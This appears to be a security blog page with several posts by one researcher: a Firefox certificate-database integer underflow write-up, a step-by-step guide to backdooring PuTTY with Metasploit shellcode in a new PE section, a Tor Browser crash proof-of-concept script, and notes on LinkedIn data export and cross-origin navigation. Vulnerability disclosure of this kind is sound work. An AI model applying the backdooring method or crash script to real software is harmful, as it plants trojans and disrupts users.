Integer Underflow to RCE in Firefox

Hi Internet,

A 750$ bug :P Lets get started.

Underflow:
If the integer value used is less than the minimum signed or unsigned int. This is called an underflow and will also trigger a segmentation fault.

Summary of this issue:
Before this change, if the metadata for a dbm-format certificate (or presumably key) database were corrupted, ugly_split could do an unchecked subtraction resulting in unsigned integer underflow, and would attempt to operate on something it thought was very big, resulting in (at least) an out-of-bounds.

How I started :
I was using nginx server with HTTPS which host's nothing, however adding a certificate exception every time crashes my FF in Linux, but does not crashes in windows. Then i taught of running FF in debug mode to see where the crash happens

GDB Log :

(gdb) bt
#0  0x00007fffcf4a4c56 in ?? () from /usr/lib/firefox/libnssdbm3.so
#1  0x00007fffcf4a7a60 in ?? () from /usr/lib/firefox/libnssdbm3.so
#2  0x00007fffcf4a63fe in ?? () from /usr/lib/firefox/libnssdbm3.so
#3  0x00007fffcf4a7d1f in ?? () from /usr/lib/firefox/libnssdbm3.so
#4  0x00007fffcf4a7e32 in ?? () from /usr/lib/firefox/libnssdbm3.so
#5  0x00007fffcf4a9046 in ?? () from /usr/lib/firefox/libnssdbm3.so
#6  0x00007fffcf4b599a in ?? () from /usr/lib/firefox/libnssdbm3.so
#7  0x00007fffcf4b602a in ?? () from /usr/lib/firefox/libnssdbm3.so
#8  0x00007fffcf4b87c6 in ?? () from /usr/lib/firefox/libnssdbm3.so
#9  0x00007fffcf4b8d94 in ?? () from /usr/lib/firefox/libnssdbm3.so
#10 0x00007fffcf4b8e40 in ?? () from /usr/lib/firefox/libnssdbm3.so
#11 0x00007fffcf4b08ee in ?? () from /usr/lib/firefox/libnssdbm3.so
#12 0x00007fffcf6eb12f in ?? () from /usr/lib/firefox/libsoftokn3.so
#13 0x00007fffcf6eb6f5 in ?? () from /usr/lib/firefox/libsoftokn3.so
#14 0x00007fffcf6d4321 in ?? () from /usr/lib/firefox/libsoftokn3.so
#15 0x00007fffcf6d746f in ?? () from /usr/lib/firefox/libsoftokn3.so
#16 0x00007ffff597120d in ?? () from /usr/lib/firefox/libnss3.so
#17 0x00007ffff5972261 in ?? () from /usr/lib/firefox/libnss3.so
#18 0x00007ffff598206e in PK11_ImportCert () from /usr/lib/firefox/libnss3.so
#19 0x00007fffe949d431 in ?? () from /usr/lib/firefox/libxul.so
#20 0x00007fffe67bc232 in ?? () from /usr/lib/firefox/libxul.so
#21 0x00007fffe6f1eeac in ?? () from /usr/lib/firefox/libxul.so
#22 0x00007fffe6f23c76 in ?? () from /usr/lib/firefox/libxul.so
#23 0x00007fffe9835da8 in ?? () from /usr/lib/firefox/libxul.so
#24 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#25 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#26 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#27 0x00007fffe98365f2 in ?? () from /usr/lib/firefox/libxul.so
#28 0x00007fffe9b1a311 in ?? () from /usr/lib/firefox/libxul.so
#29 0x00007fffe7b12cf5 in ?? () from /usr/lib/firefox/libxul.so
#30 0x00007fffe7dba6b6 in ?? () from /usr/lib/firefox/libxul.so
#31 0x00007fffe7dc0498 in ?? () from /usr/lib/firefox/libxul.so
#32 0x00007fffe7dc0cda in ?? () from /usr/lib/firefox/libxul.so
#33 0x00007fffe7d9ff82 in ?? () from /usr/lib/firefox/libxul.so
#34 0x00007fffe7da3bae in ?? () from /usr/lib/firefox/libxul.so
#35 0x00007fffe7da3eae in ?? () from /usr/lib/firefox/libxul.so
#36 0x00007fffe8799edc in ?? () from /usr/lib/firefox/libxul.so
#37 0x00007fffe73c0177 in ?? () from /usr/lib/firefox/libxul.so
#38 0x00007fffe899c084 in ?? () from /usr/lib/firefox/libxul.so
#39 0x00007fffe899c3cb in ?? () from /usr/lib/firefox/libxul.so
#40 0x00007fffe7da0330 in ?? () from /usr/lib/firefox/libxul.so
---Type <return> to continue, or q <return> to quit---
#41 0x00007fffe7da3bae in ?? () from /usr/lib/firefox/libxul.so
#42 0x00007fffe878f8f2 in ?? () from /usr/lib/firefox/libxul.so
#43 0x00007fffe87b3545 in ?? () from /usr/lib/firefox/libxul.so
#44 0x00007fffe87b6554 in ?? () from /usr/lib/firefox/libxul.so
#45 0x00007fffe7d85a3f in ?? () from /usr/lib/firefox/libxul.so
#46 0x00007fffe7d85c94 in ?? () from /usr/lib/firefox/libxul.so
#47 0x00007fffe7d8a1c8 in ?? () from /usr/lib/firefox/libxul.so
#48 0x00007fffe87b3591 in ?? () from /usr/lib/firefox/libxul.so
#49 0x00007fffe87b3f70 in ?? () from /usr/lib/firefox/libxul.so
#50 0x00007fffe87b6291 in ?? () from /usr/lib/firefox/libxul.so
#51 0x00007fffe853096f in ?? () from /usr/lib/firefox/libxul.so
#52 0x00007fffe853259a in ?? () from /usr/lib/firefox/libxul.so
#53 0x00007fffe856e496 in ?? () from /usr/lib/firefox/libxul.so
#54 0x00007fffe85392dd in ?? () from /usr/lib/firefox/libxul.so
#55 0x00007fffe8575a72 in ?? () from /usr/lib/firefox/libxul.so
#56 0x00007fffe8575b47 in ?? () from /usr/lib/firefox/libxul.so
#57 0x00007ffff48d8fac in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#58 0x00007ffff1d91fa5 in g_closure_invoke () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#59 0x00007ffff1da3fc1 in ?? () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#60 0x00007ffff1dac7f9 in g_signal_emit_valist () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#61 0x00007ffff1dad08f in g_signal_emit () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#62 0x00007ffff4a16c3c in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#63 0x00007ffff4a36dd3 in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#64 0x00007ffff48d81e8 in gtk_main_do_event () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#65 0x00007ffff4445d92 in ?? () from /usr/lib/x86_64-linux-gnu/libgdk-3.so.0
#66 0x00007ffff1abb197 in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#67 0x00007ffff1abb3f0 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#68 0x00007ffff1abb49c in g_main_context_iteration () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#69 0x00007fffe8590d6f in ?? () from /usr/lib/firefox/libxul.so
#70 0x00007fffe855a852 in ?? () from /usr/lib/firefox/libxul.so
#71 0x00007fffe855aa12 in ?? () from /usr/lib/firefox/libxul.so
#72 0x00007fffe67b54e5 in ?? () from /usr/lib/firefox/libxul.so
#73 0x00007fffe67b0498 in ?? () from /usr/lib/firefox/libxul.so
#74 0x00007fffe9385cd5 in ?? () from /usr/lib/firefox/libxul.so
#75 0x00007fffe965e09e in ?? () from /usr/lib/firefox/libxul.so
#76 0x00007fffe965eb20 in ?? () from /usr/lib/firefox/libxul.so
#77 0x00007fffe73ff615 in ?? () from /usr/lib/firefox/libxul.so
#78 0x00007fffe73ffc2f in ?? () from /usr/lib/firefox/libxul.so
#79 0x00007fffe73ffd9f in ?? () from /usr/lib/firefox/libxul.so
#80 0x00007fffe7a3f343 in ?? () from /usr/lib/firefox/libxul.so
#81 0x00007fffe7997068 in ?? () from /usr/lib/firefox/libxul.so
---Type <return> to continue, or q <return> to quit---
#82 0x00007fffe9835da8 in ?? () from /usr/lib/firefox/libxul.so
#83 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#84 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#85 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#86 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#87 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#88 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#89 0x00007fffe98365f2 in ?? () from /usr/lib/firefox/libxul.so
#90 0x00007fffe9b1a613 in ?? () from /usr/lib/firefox/libxul.so
#91 0x00007fffe73e7902 in ?? () from /usr/lib/firefox/libxul.so
#92 0x00007fffe73e6b33 in ?? () from /usr/lib/firefox/libxul.so
#93 0x00007fffe73e6b33 in ?? () from /usr/lib/firefox/libxul.so
#94 0x00007fffe73e7eb4 in ?? () from /usr/lib/firefox/libxul.so
#95 0x00007fffe8337b24 in ?? () from /usr/lib/firefox/libxul.so
#96 0x00007fffe83382d1 in ?? () from /usr/lib/firefox/libxul.so
#97 0x00007fffe6dc2004 in ?? () from /usr/lib/firefox/libxul.so
#98 0x00007fffe6e43ca6 in ?? () from /usr/lib/firefox/libxul.so
#99 0x00007fffe6bb9d7f in ?? () from /usr/lib/firefox/libxul.so
#100 0x00007fffe6bc1b6b in ?? () from /usr/lib/firefox/libxul.so
#101 0x00007fffe6bc345d in ?? () from /usr/lib/firefox/libxul.so
#102 0x00007fffe67b5625 in ?? () from /usr/lib/firefox/libxul.so
#103 0x00007fffe67b0498 in ?? () from /usr/lib/firefox/libxul.so
#104 0x00007fffe6bb2b91 in ?? () from /usr/lib/firefox/libxul.so
#105 0x00007fffe6b88c7d in ?? () from /usr/lib/firefox/libxul.so
#106 0x00007fffe8555de8 in ?? () from /usr/lib/firefox/libxul.so
#107 0x00007fffe95f84de in ?? () from /usr/lib/firefox/libxul.so
#108 0x00007fffe968a13f in ?? () from /usr/lib/firefox/libxul.so
#109 0x00007fffe968b17a in ?? () from /usr/lib/firefox/libxul.so
#110 0x00007fffe968b5f6 in ?? () from /usr/lib/firefox/libxul.so
#111 0x000055555555a745 in ?? ()
#112 0x0000555555559d5c in ?? ()
#113 0x00007ffff6d64830 in __libc_start_main (main=0x555555559cf0, argc=2, argv=0x7fffffffddf8,init=<optimized out>,

fini=<optimized out>,rtld_fini=<optimized out>, stack_end=0x7fffffffdde8) at ../csu/libc-start.c:291
#114 0x000055555555a079 in _start ()
(gdb)

Okay, it was causing a crash while adding certificate which gave me an hint that this bug will come under  crypto-core-security in Firefox. Moving forward i report this to Mozilla. However i noticed that if i create a new profile in FirefoxESR (i.e. go to "about:profiles", "create new profile"/"launch profile in new browser") and add the same certificate it didn't cause a crash.

So it seems like there's something specific to my profile that's causing this underflow, Moving further David Keeler and me analyze cert8.db file to check for the root cause of this bug.

Where cert8.db file consists of security certificates stored separately from the Operating System. sometimes the certificate store can become corrupted.
After taking a look on cert8.db looks like something caused my certificate database to be corrupted :(

Because the legacy certificate database implementation was written before the dawn of time, there are places where it's not very careful about its inputs. In particular, it looks like if some database metadata gets corrupted, ugly_split will do an unchecked subtraction and try to operate on data it thinks is very large:

h_page.c:485

        off = hashp->BSIZE;
        for (n = 1; (n < ino[0]) && (ino[n + 1] >= REAL_KEY); n += 2) {
            cino = (char *)ino;
            key.data = (uint8 *)cino + ino[n];
A           key.size = off - ino[n];
            val.data = (uint8 *)cino + ino[n + 1];
            val.size = ino[n] - ino[n + 1];
            off = ino[n + 1];

B           if (__call_hash(hashp, (char *)key.data, key.size) == obucket) {

At A, we have no guarantee that off >= ino[n], so at B we pass in a very large value for the size of the key.

Mozilla Security Team change risk from None to Moderate (sec-moderate) based on that this would require modifying the user's profile on-disk to exploit.

PS: I tried exploiting this using ncat with SSL but the session is not stable and it dies.

Issue Reported: 19-11-2017
Fixed Released: 05- 12-2017
Awarded with 750$ 

For everyone who might need a better understanding of how this bug works and how it can be exploited, read further.

My Assumption:

As stated in the blog, a corruption in cert8.db causes this crash, and every beginner in BOF knows crash is how we fuzz to create an exploit.

Since there is no check in the value of the variable 'off' any overwrite can make the value of 'off' to be set lower than ino[n] resulting in the crash.

Assuming 'hashp' is a pointer to a buffer size or memory address, a lower or negative value of 'off' may be result of getting higher memory address value from the stack thus setting key.size to much greater and when you have crashes and deals with memory there is high chances that this can be taken advantage to inject shell code into memory to execute.

For now what I tired was adding a shell code in h_page.c with a handler but established connection was not stable, I am sure a more experienced exploit writer can get a reverse shell by overwriting the cert8.db. 

Regards

Dhiraj

Read More

Backdooring Windows Binary

Hi Internet,

I saw multiple methods from may researches specifically, the one who are done with OSCE, Moving further I decided to do the same and successfully replicated. I’m not much of a windows exploit kind of guy, I deal more in browser based exploitation but I have cribbed from the work of other security researchers and their are already many such posts on this. In this example I have used Putty probably you can use any executable's, you can download putty from here.

I add a new code section to the executable using any PE editor such as LordPE.

Remember to allocate enough space, I have allocated 1000 bytes to the .NewSec section in this case the application will not run proper the, open the modified binary in a hex editor and allocate the 1000 byte value at the end of the file.

Save the binary, and the application now runs normally, Open this binary in any debugger and notice the first five instructions in the application copy paste that somewhere we need them.

In the debugger, open the ‘memory view’ to view the address of .NewSec

In my case the memory address was 00376000. We want the code execution of the binary to jump to this address, as this is where we will be placing our shellcode.

Double-click the newly modified instruction to move to the .NewSec section. You should see a lot of free space. Then, we proceed to add 2 instructions which is  PUSHAD, PUSHFD to ‘preserve’ the current registers and flags.

Now that we have push the current registers to the stack, we can start adding the shellcode from address 00376000 onwards. The shell code can be generated using MSF.

Paste the shellcode as ‘binary paste’ in the debugger from address 00376000 and you are all set.
Save the changes and try running the executable and do not forget to setup listener, if our evilness works perfectly we should get shell in the box.

I have crated a Video POC using cmd.exe which implemented by Microsoft through Win32 console.



You can use Backdoor factory or MSF to backdoor windows based exe's

Regards

Dhiraj

Read More

Go ahead and get "email” of all your LinkedIn connections

Hi Internet,

Got, something amazing today @LinkedIn but I believe its more of a privacy issue rather than security or might be a functionality :/

Have you ever wonder, how you get spam mails or phishing,

You: I have no idea how attacker got my email address.

So, this might be one of the case.

Here is how you can export  connections details from your LinkedIn account,

Visit this link as a logged-in user, and it should look something like this.

Click on he radio button which as option "The works: All of the individual files plus more." and request for archive.

Just wait for few seconds and once done you will be able to download your archive, and you will be able to see something like this.



























Once, downloaded the archive file will have different things like,

Opening Connections.csv you may end up with getting all the details for your respective connections such as Name, Email Address, Company etc.

Regards

Dhiraj

Read More

Tor Browser IPC crash at MOZ_CRASH()

Hi Internet,
 
IPC : Inter-process communication is a protocol short form of IPDL is a mozilla specific language to pass messages between  process and threads in secure way.

Note: Most of the IPC based crashes in browser is not eligible for BBB  //Not Sure

Snip Code :

<script>
function tor()
 {
 
    var uristring = unescape("%u4141%u4141");
     
    for(i=0; i <= 50 ; ++i)
 {
        uristring+=uristring;
        document.write(uristring);
    }   
    document.write(uristring);
}
</script>
</head>
<body onload="tor()">
</body>

Running the above code in TOR crashes the tab - 'Gah! This tab has crashed.

Running TOR in debug mode generated this below error :












So, this seems to be kind of a resource exhaustion attack that leads to a crash in TOR,  For instance if you try in a vanilla Firefox it freezes your page and if one disables multiprocess mode one can witness this behavior in a Tor Browser as well.

Running the snip code Asan build gets :



















Looking at the particular code you'll see:

#ifdef MOZ_CRASHREPORTER
      CrashReporter::AnnotateCrashReport(NS_LITERAL_CSTRING("IPCMessageName"), nsDependentCString(msg->name()));
      CrashReporter::AnnotateCrashReport(NS_LITERAL_CSTRING("IPCMessageSize"), nsPrintfCString("%d", msg->size()));
#endif
      MOZ_CRASH("IPC message size is too large");

So, what seems to be happening here is that without --disable-crashreporter (which is used for vanilla Firefox builds) the tab loading your code is stuck in the #ifdef MOZ_CRASHREPORTER block while Tor Browser (which uses --disable-crashreporter) is hitting the MOZ_CRASH() call directly.

This crashes at MOZ_CRASH() because IPC Message is too large. This issue was marked as informative  by TOR via H1

Read More

Navigating to non-same origin windows in browsers.

Lets do this.. Works almost in every browsers. Another Interesting Navigation trick. It is an little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate third-party documents to resources served with Content-Disposition attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file.

Video POC :

No bounty was awarded, because :
"The behavioral of the browser is legit, the same thing happens in chrome or other browsers. We will invalidate your report."

Bug Reported by : Dhiraj Mishra